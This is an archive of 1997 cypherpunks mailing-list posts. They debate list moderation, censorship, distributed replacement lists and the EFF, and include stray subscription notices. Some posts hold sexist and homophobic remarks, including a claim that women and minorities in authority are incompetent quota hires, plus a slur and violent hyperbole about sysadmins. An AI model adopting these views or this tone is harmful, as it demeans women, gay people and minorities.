> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do
> whatever it is, and IMHO are more likely to try harder.
> - I wonder whether the garage owners have any preference.  In my military
> experience (Signals officer), the (older male) sergeants and chiefs, when
> given a choice, preferred female radar / radio technicians to male
> because, in general, they were harder working, had thicker skins, and were
> more pleasant to deal with.

I love working with girls, regardless of the job. I personally prefer
the ones who don't suck up to "the guys", and who don't subscribe to
what society prefers girls should do or look like.  Unfortunately,
most offices won't hire them unless they conform in ways that I feel
are offensive, so the really independent ones wind up mainly in low-
paying jobs or going it alone (i.e., driving a truck).

Nothing wrong with driving a truck, of course, but it would be nicer
still if they could co-exist alongside males in the majority of
workplaces without having to do female role-playing.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@ALPH.SWOSU.EDU>
Date: Sat, 15 Feb 1997 11:13:17 -0800 (PST)
To: cypherpunks@algebra.com
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702151913.LAA01416@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:57 PM 2/14/97 -0800, Vladimir Z. Nuri wrote:
>
...
>if cpunks had a formal way of making decisions, and some loyalty
>to each other, instead of BAILING OUT at the slightest difficulty,
>perhaps the situation would be different, eh? see how quickly people
>who were once friends simply WALK OUT on each other in the cryptoanarchist
>approach? where is the loyalty? the sense of working for the greater
>good? it's gone. TCM simply ABANDONS the list at the first opportunity,
>and ignores the years of hard work that J.G. has put into it.
...
Not everyone has "bailed out".  Amid the flotsam and jetsam of the sinking
list, Igor Chudov Firebeard, and others have begun to fashion a trimaran.
If they finish before the old vessel finally sinks in the storm, then we
will have a ship more difficult to capsize.  Others are anchoring that half
finished craft to the great floating city/state Usenet.  Still others are
scheming as to the best way to keep the self appointed police from cutting
the little craft adrift.

No, we would have "bailed out" if we had each sit still to let our
subscriptions run out.  More will "go down with the ship", arguing against
the shutdown right up to the day when the list is finally eliminated.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 11:11:35 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702151911.LAA01317@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Vladimir Z. Nuri wrote:
> what TCM continues to stick his head in the sand over
> is the fact that the list noise levels have gotten outlandishly
> out of control over recent times, far beyond anything in memory.
> what is it due to?

"Out of control" says it all, don't you think?  (as in "control
freaks", that is).

> it appears that there is a basic law of cyberspace that S/N decreases
> as you add more people. it seems to be a very obvious and repeatable
> property.

No, it decreases rapidly when your forum more-or-less suddenly
becomes a hot item on the web.  If it weren't hot, nobody would
bother, believe me.

> there are some significant lessons about cryptoanarchy that are
> completely evading TCM. how well does anarchy scale? apparently, not
> well. TCM would like to pretend that just deleting posts and having
> outsider filterers is a "solution" to the problem and argues for
> business as usual, upholding the status quo.

"Scale" is a term used by controllers.

> the problem is that when you have a deteriorating situation, the
> status quo is not a valid concept. keeping the status quo means
> further deterioration.

Look at the big picture.  Some people have proposed unacceptable
methods for controlling human population, and it should be no
surprise that the same mentality would pervade these forums.

> TCM also fails to address the problem of AGENT PROVOCATEURS. the
> cyberspace list is intensely fragile and susceptible/ vulnerable
> to them as Vulis demonstrates. it only takes ONE and a lot of
> tentacles. does TCM propose a solution to this? no, of course not,
> because he has a blind spot when it comes to realizing the
> PATENTLY OBVIOUS FLAWS OF CRYPTOANARCHY that stare him in the face.

Unless, of course, the forum itself (and its proponents) are
themselves the "agent provocateurs".

> if cpunks had a formal way of making decisions, and some loyalty
> to each other, instead of BAILING OUT at the slightest difficulty,
> perhaps the situation would be different, eh? see how quickly people
> who were once friends simply WALK OUT on each other in the cryptoanarchist
> approach? where is the loyalty? the sense of working for the greater
> good? it's gone. TCM simply ABANDONS the list at the first opportunity,
> and ignores the years of hard work that J.G. has put into it.

Loyalty?  Amongst anarchists?  Two points: Loyalty on c-punks was
almost entirely a negative factor (i.e., sucking up to Gilmore).
Two, Tim May is for Tim May (as he should be), and he didn't abandon
his ideals one bit, which is a helluva lot more to say for him than
Gilmore or Sandfort.

> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
> the logical conclusion of your views playing out before you. acrimony,
> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

Perhaps you should turn your talents to writing country songs.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:56:11 -0800 (PST)
Subject: Welcome
Message-ID: <199702151556.HAA23654@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: List-Owner <nobody@diacenter.org>
Date: Sat, 15 Feb 1997 07:56:20 -0800 (PST)
Subject: Welcome
Message-ID: <199702151556.HAA23681@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Welcome to Dia's Advance Listings mailing list.

You will be sent advance listings approximately monthly with information on Dia's exhibitions and other upcoming programs.

If you have questions or would like to request more press information, please
contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.

If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."

PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.

Thank you for your interest in Dia Center for the Arts.

Dia Center for the Arts
548 West 22nd Street
New York, NY 10011
http://www.diacenter.org





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rich Burroughs <richieb@teleport.com>
Date: Sat, 15 Feb 1997 13:56:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re:
Message-ID: <199702152156.NAA07488@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:12 AM 2/15/97 -0800, owner-cypherpunks@toad.com wrote:
>

Wow, the entire text of these messages were deleted.  And they came from
the list owner!  The censorship here is even worse that I had imagined...


Rich


______________________________________________________________________
Rich Burroughs  richieb@teleport.com  http://www.teleport.com/~richieb
U.S. State Censorship Page at - http://www.teleport.com/~richieb/state
dec96 issue "cause for alarm" - http://www.teleport.com/~richieb/cause





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Lawrence <mlawrenc@ix.netcom.com>
Date: Sat, 15 Feb 1997 13:56:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: hacking
Message-ID: <199702152156.NAA07494@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


i'm a new minor hacker so do you think you could teach me a few things
so i could get started on some small-time hacking?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: codehead@ix.netcom.com
Date: Sat, 15 Feb 1997 17:11:49 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Welcome
Message-ID: <199702160111.RAA14502@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> Date:          Sat, 15 Feb 1997 10:39:28 GMT
> From:          List-Owner <nobody@diacenter.org>
> Subject:       Welcome
> Reply-to:      cypherpunks@toad.com

> Welcome to Dia's Press Releases mailing list.
> 
> You will be sent press releases about Dia's exhibitions and other programs.
> 
> If you have questions or would like to request more press information, please
> contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566 x 118.
> 
> If you would like to stop receiving mailings, please send an email to list-owner@diacenter.org with the subject line "Remove me from Dia News."
> 
> PLEASE NOTE: You may receive more than one message indicating a succesful subscription.  If you joined more than one of Dia's mailing lists,  you will receive one message for each list you joined.
> 
> Thank you for your interest in Dia Center for the Arts.
> 
> Dia Center for the Arts
> 548 West 22nd Street
> New York, NY 10011
> http://www.diacenter.org
> 
> 

Here it is:

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Welcome to Dia's Press Releases mailing list.

You will be sent press releases about Dia's exhibitions and other
programs.

If you have questions or would like to request more press information,
please contact Jennie Prebor at jennie@diacenter.org or (212) 989-5566
x 118.

If you would like to stop receiving mailings, please send an email to
list-owner@diacenter.org with the subject line "Remove me from Dia
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sat, 15 Feb 1997 17:11:00 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160111.RAA14406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Dale Thorn wrote:
> 
> Igor Chudov @ home wrote:
> > Dale Thorn wrote:
> > > Igor Chudov @ home wrote:
> > > > Dave Hayes wrote:
> > > > > Ok. I'll "put up".
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> > 
> > I think that the ideas of a distributed list and the idea of
> > alt.cypherpunks are both good and these two mediums complement
> > each other.
> 
> I can certainly accept this, but it would be nice if someone summarizes
> these feeds every now and then, as time to check them all out is very
> limited.
> 

I agree entirely.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Sat, 15 Feb 1997 09:26:19 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702151726.JAA27051@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:

> >   * If gays ruined usenet, does that mean at one point usenet was a
> >     good thing before it was ruined?  If so, gay people at least
> >     deserve credit for creating something good, even if they didn't
> >     manage to run it well.
> 
> Suppose for argument's sake that the people who created Usenet all
> happened to be gay. Why would "gay people" as a whole, most of whom
> had nothing to do with it, deserve credit for it?

Okay.  Suppose for argument's sake that the people who are censoring
Usenet all happen to be gay?  Why, then, would all gay people deserve
blame for these actions?

Now suppose they aren't gay.  Them whom are these homohpobic rants
really attacking?  Gay people or censors?  If you say, for instance,
"New cypherpunks list for heterosexuals only", who do you think is
actually going to be affected by this?  Certainly not Gilmore who is
completely disillusioned with cypherpunks at this point and not likely
to subscribe any mailing list a person like that runs anyway.  Rather,
you are attacking people who happen to be gay but would otherwise be
interested in subscribing to the mailing list.

Now suppose it's not instantly possible to discern a person's sexual
orientation over the internet, as Dr. Grubor claims it is.  Suppose
further that some of the people who censor Usenet are gay, and others
aren't.  Some of the people in favor of free speech are gay, others
are not.  Many of those who are straight don't just come out and say,
"I am not gay," for the simple reason that they oppose discrimination
based on sexual orientation and don't believe one's sexual orientation
should be relevant to a debate on censorship.  In such a case,
refocusing the debate on homosexuality rather than censorship hardly
furthers your objectives.

I believe homophobia is a great way to bring out the censors in
people.  However, inducing censorship is only part of fighting it.
You also need respectable people to some in, argue cogently against
the dangers of censorship, perhaps even get some extremely reasonable
articles suppressed, and then spread the word about it.  I find the
freedom-knights tactics' extremely lacking in this second, "clean up
and analyze the mess" phase.

As a recent example illustrates well, Vulis did a nice job of inducing
censorship on cypherpunks.  However, I think most peoples' opinions
didn't really turn, or at least people didn't realize how serious
things were and didn't really care, until Tim May [someone the many
freedom-knights hate] started criticizing this censorship in extremely
reasonable messages that were suppressed from both the -edited and
-flames mailing list.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sat, 15 Feb 1997 22:42:54 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: The EFF
Message-ID: <199702160642.WAA26984@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto wrote:
> Timothy C. May wrote:
> > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> It is my (limited) understanding that the EFF has discovered that
> the support that comes with private philanthropy from will o'wisp
> Bay Area 'liberals' doesn't carry the terrible burden of having to
> compete for the petty contributions of the UnRich.
> I have a brother-in-law who gives seminars to the Nouveau Riche in
> the Bay Area, teaching them how to give their money away to 'good'
> causes. I believe that one of the prime considerations in separating
> the 'good' causes from the 'bad' causes has something to do with the
> the proper wine being served with the cheese and cracker offerings
> during their cocktail parties.

Wine and cheese are the key.  You hit that one on the head.  I tried
those Mensa parties in Beverly Hills a few times, but the girls want
you to kiss their hands like some kinda princesses or something,
whereas I think a simple handshake would suffice.  So I just quit
going.  Maybe this has something to do with why there are no c-punks
meetings in the L.A. area.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ISP_Ratings <boursy@earthlink.net>
Date: Sat, 15 Feb 1997 17:11:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160111.RAA14431@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Against Moderation wrote:
> 
> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) writes:
> 
>I believe homophobia is a great way to bring out the censors in
>people.  However, inducing censorship is only part of fighting it.
>You also need respectable people to some in, argue cogently against
>the dangers of censorship, perhaps even get some extremely reasonable
>articles suppressed, and then spread the word about it.  I find the
>freedom-knights tactics' extremely lacking in this second, "clean up
>and analyze the mess" phase.
> 

  Yes but the process is a very long term one--you seemed focused
on this specific instance.  I'm especially interested in the demise
of plug pulling sys admins for example--they should be hung by their
balls from the highest pole--the kind of net.slime EFF protects.  As
for analysis and cleanup that's a bit easier to contain on a list
as opposed to the usenet at large.

>As a recent example illustrates well, Vulis did a nice job of inducing
>censorship on cypherpunks.  However, I think most peoples' opinions
>didn't really turn, or at least people didn't realize how serious
>things were and didn't really care, until Tim May [someone the many
>freedom-knights hate] started criticizing this censorship in extremely
>reasonable messages that were suppressed from both the -edited and
>-flames mailing list.

  And for that to happen vivid examples of such censorship had to 
occur and a snake was exposed as being a snake.  Seems like it worked
extremely well to me.  It also appears that the cleanup you rightly
refer to is happening as a natural progression--same will be true
hopefully on a broader scale on usenet when others personally get
a taste of the censorship that is lurking behind every corner.  
And for those who jumped on the bandwagon because Mr. May was
being censored as oppossed to Dr. Vulis--they are sad people indeed.

                          Steve





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sat, 15 Feb 1997 13:57:54 -0800 (PST)
To: "Cynthia H. Brown" <cynthb@sonetis.com>
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702152157.NAA07573@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > Here I can agree, I personally discriminate on the basis of sex, not 
> > in that I believe women inferior to men but rather that I believe 
> > each sex better suited to different tasks and vocations.
> > That is not, however, to say that I believe women should be prevented 
> > from taking up lines of work that men traditionally hold.
> > They are free to do so, but as in the example you give later 
> > I would feel uncomfortable having my car serviced by a woman.
> 
> <flame-retardant suit on>
> 
> Normally I would ignore this sort of comment (which probably belongs in 
> some soc. newsgroup), but I feel obliged to point out that:
> 
> - The female <mechanic / scientist / engineer>, in addition to passing the
> same exams as her male classmates, has probably had to put up with a fair
> load of B.S. questioning her right and ability to be there.  The ones that
> keep at it long enough to graduate are the ones that *really* want to do 
> whatever it is, and IMHO are more likely to try harder.

Not my point, I didn`t say I would refuse, as in my example, to have 
my car serviced by a woman, rather, that I would not feel comfortable 
doing so. This is not prejudice, it is a statistical judgement based 
on the fact that, as a percentage, I know few women who are competent 
car mechanics but I know a number of men who, by the same criteria, I 
would call competent. 

> Chicken and Egg: How much of "each sex [is] better suited to different
> tasks" is due to little girls being pulled away from the Lego and toy
> trucks, and encouraged to play with Barbies?  Being told that they are 
> *pretty* not *smart* as a form of approval? 

Very much so, I did not intend, even though my post may have appeared 
that way, for one minute to suggest that women were *unable* to carry 
out certain tasks, just that they seem less suited to certain 
vocations that others. For example, I know a number of good female 
History or English students but very few good female mathematics 
or computer science students. This is not, I believe, because women are 
not "suited" to computer science rather that they have never been encouraged 
at high school etc. to learn about such subjects which are seen as male preserves. 
I wholeheartedly believe this should not be the case, and my original 
post may have been misleading, I just believe that in the current 
system very few women do become good at science/technical subjects.

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zac <speidel@lightspeed.net>
Date: Sun, 16 Feb 1997 07:10:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: (no subject)
Message-ID: <199702161510.HAA17732@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE CYPHERPUNKS lspeiel@lightspeed.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sat, 15 Feb 1997 22:56:34 -0800 (PST)
To: paul@fatmans.demon.co.uk
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702160656.WAA27621@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997 paul@fatmans.demon.co.uk wrote:

<earlier discussion excised>

> Not my point, I didn`t say I would refuse, as in my example, to have 
> my car serviced by a woman, rather, that I would not feel comfortable 
> doing so. This is not prejudice, it is a statistical judgement based 
> on the fact that, as a percentage, I know few women who are competent 
> car mechanics but I know a number of men who, by the same criteria, I 
> would call competent. 

Acknowledged, agree to disagree :-).  (Very few of my male friends
can do more than sew on a button, but that doesn't weight my choice
of a *professional* tailor.)  It did, however, sound like you were
agreeing with the previous poster's (more extreme) position.

> Very much so, I did not intend, even though my post may have appeared 
> that way, for one minute to suggest that women were *unable* to carry 
> out certain tasks, just that they seem less suited to certain 
> vocations that others. For example, I know a number of good female 
> History or English students but very few good female mathematics 
> or computer science students. This is not, I believe, because women are 
> not "suited" to computer science rather that they have never been encouraged 
> at high school etc. to learn about such subjects which are seen as male preserves. 
> I wholeheartedly believe this should not be the case, and my original 
> post may have been misleading, I just believe that in the current 
> system very few women do become good at science/technical subjects.

Agreed (sadly) that there is a dearth of role models like Mme. Curie
or Roberta Bondar.

There is also an unfortunate "geek stigma" often attached to those
who are good at math or science (male or female). Whether this stigma
discourages more girls than boys is questionable (psychology thesis,
anyone?), but it has probably resulted in good-math-potential brains
taking economics (or whatever) instead.  Fewer competitors for the
56-bit prize, but also fewer brains thinking up better PRNGs.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Cordian <emc@wire.insync.net>
Date: Sun, 16 Feb 1997 07:11:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Spam, Spam, Digital Postage, and Spam
Message-ID: <199702161511.HAA17742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Sat, 15 Feb 1997 22:56:48 -0800 (PST)
To: Dale Thorn <cypherpunks@toad.com>
Subject: Re: Keep it Simple and the Cypherpunk Way
Message-ID: <199702160656.WAA27644@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970215:1003 Dale Thorn <dthorn@gte.net> said:

+Vladimir Z. Nuri <vznuri@netcom.com> said:

+> timmy, cpunks, etc. you are getting a lesson in REALITY. you are seeing
+> the logical conclusion of your views playing out before you. acrimony,
+> bitterness, resignation, chaos, confusion, cacaphony, anarchy.

+Perhaps you should turn your talents to writing country songs.

    and if I play it backwards I get my dawg, my truck, and my gittar back.

 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 

 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwaj+b04kQrCC2kFAQH0oAQA3pueKSWg2Fqvb6h3psP67rF18N/kwaMP
nD6LE7DgzNYVTYwwKjk/eT8/i2kdSEAS8MqkmVc7KwZqsHWl4Ttj23A1GaTHzobL
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RHlrPaY54EU=
=I9gB
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Huge Cajones Remailer <nobody@huge.cajones.com>
Date: Sun, 16 Feb 1997 09:57:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale: What a laff!
Message-ID: <199702161757.JAA24340@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Sat, 15 Feb 1997 18:42:11 -0800
From: Dale Thorn <dthorn@gte.net>

Dale sagely wrote:

:Wine and cheese are the key.  You hit that one on the head.  I tried
:those Mensa parties in Beverly Hills a few times.

Oh what a kidder this Dale is.  At Mensa party no less!!

Whatta farce!

Still love you fella.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Patrick May <pjm@spe.com>
Date: Sun, 16 Feb 1997 09:56:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: FBI_100
Message-ID: <199702161756.JAA24251@toad.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Sun, 16 Feb 1997 07:26:10 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re:
Message-ID: <199702161526.HAA18383@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



> > PS. His sexist comments are rubbish too.  I usually like his crypto posts,
> > however, as long as they are technical rather than legal...
> 
> Paul's sexist comments are very interesting - I hope to find more time to
> comment on them too. I don't know if they have the same kind of "affirmative
> action" in the U.K. that they have in the U.S. - here if you find a woman
> in the position of authority, there's a good chance that she was promoted
> ahead of more qualified men to meet some quota, and is therefore incompetent.

We do not have such laws as far as I`m aware (I try to know as little 
as possible about law and finance/econimics as I find them intensely 
boring, even if they are necessary knowledge as a proponent of 
freedom of action and speech) but in my experience a number of 
employers promote women ahead of men in order to avoid costly 
industrial tribunals brought for discrimination. I also believe for 
the same reasons a lot of known homosexuals, blacks, <insert minority 
group of choice here> are promoted ahead of more qualified white, 
straight males.
 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 10:01:02 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <199702161801.KAA24479@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:21:07 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: freedom-knights@jetcafe.org
> Cc: ichudov@algebra.com, dave@kachina.jetcafe.org, cypherpunks@toad.com
> Subject: Re: Moderation experiment almost over; "put up or shut up"
> 
> Kent Crispin wrote:
> > Dale Thorn allegedly said:
> > > If I understood the last several hundred messages correctly, they have
> > > tried to make the point that the cypherpunks mailing list (unedited)
> > > was more ideal than a newsgroup.  If this is what Dave is offering,
> > > I'm surprised if more people don't jump on it.  Then again, they
> > > took their good ol' time jumping onto cypherpunks-unedited.
> 
> > Dave is offering a single mailing list, which, while I am sure Dave is
> > a great person, still represents a single point of control and a
> > single point of failure.  A distributed mailing list has a potential
> > for being much more robust, and for supporting a wide range of
> > viewpoints.  Furthermore a distributed mailing list is an interesting
> > minor technical problem, and a good solution could have wide
> > applicability.
> > So I think that people would like to get the distributed list going...
> 
> I hope this doesn't duplicate the earlier message - if someone were
> tracking all this activity and kept the lists informed about what
> was available where - and particularly if the downloading could be
> automatic as in the subscription lists - that would be ideal.
> 
> I wanted to spend some time on alt.cypherpunks, but I haven't got
> thru the subscription mail for the last few days yet.  If there's
> a scheme that works better than just ad-hoc looking, I'd sure like
> to know.
> 

You mean there is an alt.cypherpunks mailing list?
That is not on my server.

I have mail.cypherpunks though, and I thought that was
the usenet newsgroup for cypherpunks.

let's see what dejanews says about this one.

How about every posting to alt.underground for the time being,
until we get this matter settled?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:56:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: The EFF
Message-ID: <199702161756.JAA24277@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 15 Feb 1997, Dale Thorn wrote:

> Date: Sat, 15 Feb 1997 18:43:51 -0800
> From: Dale Thorn <dthorn@gte.net>
> Reply-To: freedom-knights@jetcafe.org
> To: Toto <toto@sk.sympatico.ca>
> Cc: cypherpunks@algebra.com, cypherpunks@toad.com,
>     freedom-knights@jetcafe.org
> Subject: Re: The EFF
> 
> Toto wrote:
> > Timothy C. May wrote:
> > > At 9:36 AM -0800 2/14/97, Declan McCullagh wrote:
> > It is my (limited) understanding that the EFF has discovered that
> > the support that comes with private philanthropy from will o'wisp
> > Bay Area 'liberals' doesn't carry the terrible burden of having to
> > compete for the petty contributions of the UnRich.
> > I have a brother-in-law who gives seminars to the Nouveau Riche in
> > the Bay Area, teaching them how to give their money away to 'good'
> > causes. I believe that one of the prime considerations in separating
> > the 'good' causes from the 'bad' causes has something to do with the
> > the proper wine being served with the cheese and cracker offerings
> > during their cocktail parties.
> 
> Wine and cheese are the key.  You hit that one on the head.  I tried
> those Mensa parties in Beverly Hills a few times, but the girls want
> you to kiss their hands like some kinda princesses or something,
> whereas I think a simple handshake would suffice.  So I just quit
> going.  Maybe this has something to do with why there are no c-punks
> meetings in the L.A. area.
> 

Dale, so you are in mensa?  Did you have to take a test?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Sun, 16 Feb 1997 09:56:16 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Dave Hayes takes over Cypherpunks
Message-ID: <199702161756.JAA24295@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, Igor Chudov @ home wrote:

> Date: Sun, 16 Feb 1997 09:35:27 -0600 (CST)
> From: "Igor Chudov @ home" <ichudov@algebra.com>
> Reply-To: freedom-knights@jetcafe.org
> To: aga <aga@dhp.com>
> Cc: ichudov@algebra.com, toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
>     cypherpunks@algebra.com
> Subject: Re: Dave Hayes takes over Cypherpunks
> 
> aga wrote:
> > On Sat, 15 Feb 1997, Igor Chudov @ home wrote:
> > > Date: Sat, 15 Feb 1997 09:07:40 -0600 (CST)
> > > From: "Igor Chudov @ home" <ichudov@algebra.com>
> > > To: aga <aga@dhp.com>
> > > Cc: toto@sk.sympatico.ca, freedom-knights@jetcafe.org,
> > >     cypherpunks@algebra.com
> > > Subject: Re: Dave Hayes takes over Cypherpunks
> > > 
> > > > ======================================
> > > > == This list is still experimental. ==
> > > > == admin       ichudov@algebra.com  ==
> > > > ======================================
> > > > 
> > > 
> > > Just fyi, I am removing this footer from the list config.
> > > 
> > > It was here so that people could tell that the list was new and 
> > > glitches were likely to happen.
> > > 
> > 
> > O.K. what are you doing, Igor?  Is this a new cypherpunks list?
> 
> This is ONE OF new cypherpunks lists. These lists will soon be
> connected to each other so that people subscribed to any of them
> will receive all article sent to each list.
> 
> Kinda like USENET.
>  

10-4

It is like a new hierarchy, huh? {;-)-~

cmsg newgroup cypherpunks.cunt







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 16 Feb 1997 14:41:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: FBI_100
Message-ID: <199702162241.OAA04866@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sun, 16 Feb 1997 14:40:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: 'Jim Beam' me up, Scotty!
Message-ID: <199702162240.OAA04852@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


scribve cypherpunks-thenextgeneration "Dr. Spook" <6UALDV8@cyberspace.9>







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
